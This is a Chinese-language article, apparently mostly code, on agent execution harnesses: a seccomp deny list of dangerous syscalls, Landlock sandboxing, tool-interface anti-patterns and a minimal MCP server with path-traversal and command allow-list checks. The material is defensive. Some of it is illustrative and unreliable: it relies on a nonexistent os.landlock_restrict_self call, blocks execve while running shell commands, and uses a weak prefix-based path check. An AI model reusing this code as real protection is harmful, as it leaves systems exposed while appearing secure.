Harness Engineering：Agent 的执行内核 — 从沙箱到 ACI

import os
import subprocess

# 为 Agent 的工具执行设置 seccomp 规则
SECCOMP_RULES = """
# 允许的基础系统调用
read: 1
write: 1
openat: 1
close: 1
fstat: 1
mmap: 1
mprotect: 1
munmap: 1
brk: 1
rt_sigaction: 1
rt_sigprocmask: 1
sigaltstack: 1

# 明确禁止的危险调用
execve: 0        # 禁止执行新程序
socket: 0        # 禁止创建socket
connect: 0       # 禁止网络连接
ptrace: 0        # 禁止调试其他进程
mount: 0         # 禁止挂载
umount2: 0       # 禁止卸载
delete_module: 0 # 禁止卸载内核模块
init_module: 0   # 禁止加载内核模块
"""

def execute_in_sandbox(command: str, allowed_paths: list[str]):
    """在受控沙箱中执行命令"""
    # Landlock: 限制文件系统访问为白名单路径
    os.landlock_restrict_self(
        allowed_paths=allowed_paths,
        access_fs=["execute", "write_file", "read_file", "remove_file"]
    )
    # 执行命令
    return subprocess.run(command, shell=True, capture_output=True, text=True)

# ❌ 反模式1：过大的接口表面积
def manage_cloud_resource(action, resource_type, region, config, tags, ...):
    ...

# ✅ 改进：拆分为专注的工具
def create_vm(region, machine_type, image): ...
def delete_vm(vm_id): ...
def list_vms(region, status_filter): ...

# ❌ 反模式2：不可恢复的错误
raise Exception("Operation failed")

# ✅ 改进：可操作的错误
return {
    "error": "VM creation failed: quota exceeded",
    "current_quota": 10,
    "used": 10,
    "suggestion": "Delete unused VMs or request quota increase at /admin/quotas"
}

# ❌ 反模式3：非幂等的创建
def create_file(path, content): ...  # 重复调用会失败

# ✅ 改进：幂等操作
def write_file(path, content): ...   # 重复调用覆盖写入

import asyncio
import subprocess
import json
from mcp.server import Server, stdio_server
from mcp.types import Tool, TextContent

class MiniHarnessServer:
    """最小化的 Harness Server：提供安全文件读写和命令执行"""
    
    def __init__(self, workspace: str, allowed_commands: list[str]):
        self.workspace = workspace
        self.allowed = set(allowed_commands)
        self.server = Server("mini-harness")
        self._register_tools()
    
    def _register_tools(self):
        @self.server.list_tools()
        async def list_tools():
            return [
                Tool(
                    name="read_file",
                    description="读取工作目录下的文件",
                    inputSchema={
                        "type": "object",
                        "properties": {
                            "path": {"type": "string", "description": "相对路径"}
                        },
                        "required": ["path"]
                    }
                ),
                Tool(
                    name="run_command",
                    description=f"执行允许的命令: {', '.join(self.allowed)}",
                    inputSchema={
                        "type": "object",
                        "properties": {
                            "command": {"type": "string"},
                            "args": {"type": "array", "items": {"type": "string"}}
                        },
                        "required": ["command"]
                    }
                )
            ]
        
        @self.server.call_tool()
        async def call_tool(name: str, arguments: dict):
            if name == "read_file":
                path = arguments["path"]
                # 路径遍历防护
                full_path = os.path.normpath(os.path.join(self.workspace, path))
                if not full_path.startswith(self.workspace):
                    return [TextContent(type="text", text="Error: path traversal denied")]
                with open(full_path) as f:
                    return [TextContent(type="text", text=f.read())]
            
            elif name == "run_command":
                cmd = arguments["command"]
                if cmd not in self.allowed:
                    return [TextContent(type="text", 
                        text=f"Error: '{cmd}' not allowed. Allowed: {', '.join(self.allowed)}")]
                result = subprocess.run([cmd] + arguments.get("args", []), 
                                       capture_output=True, text=True, timeout=30,
                                       cwd=self.workspace)
                return [TextContent(type="text", 
                    text=result.stdout or result.stderr)]

    async def run(self):
        async with stdio_server() as (read, write):
            await self.server.run(read, write, 
                self.server.create_initialization_options())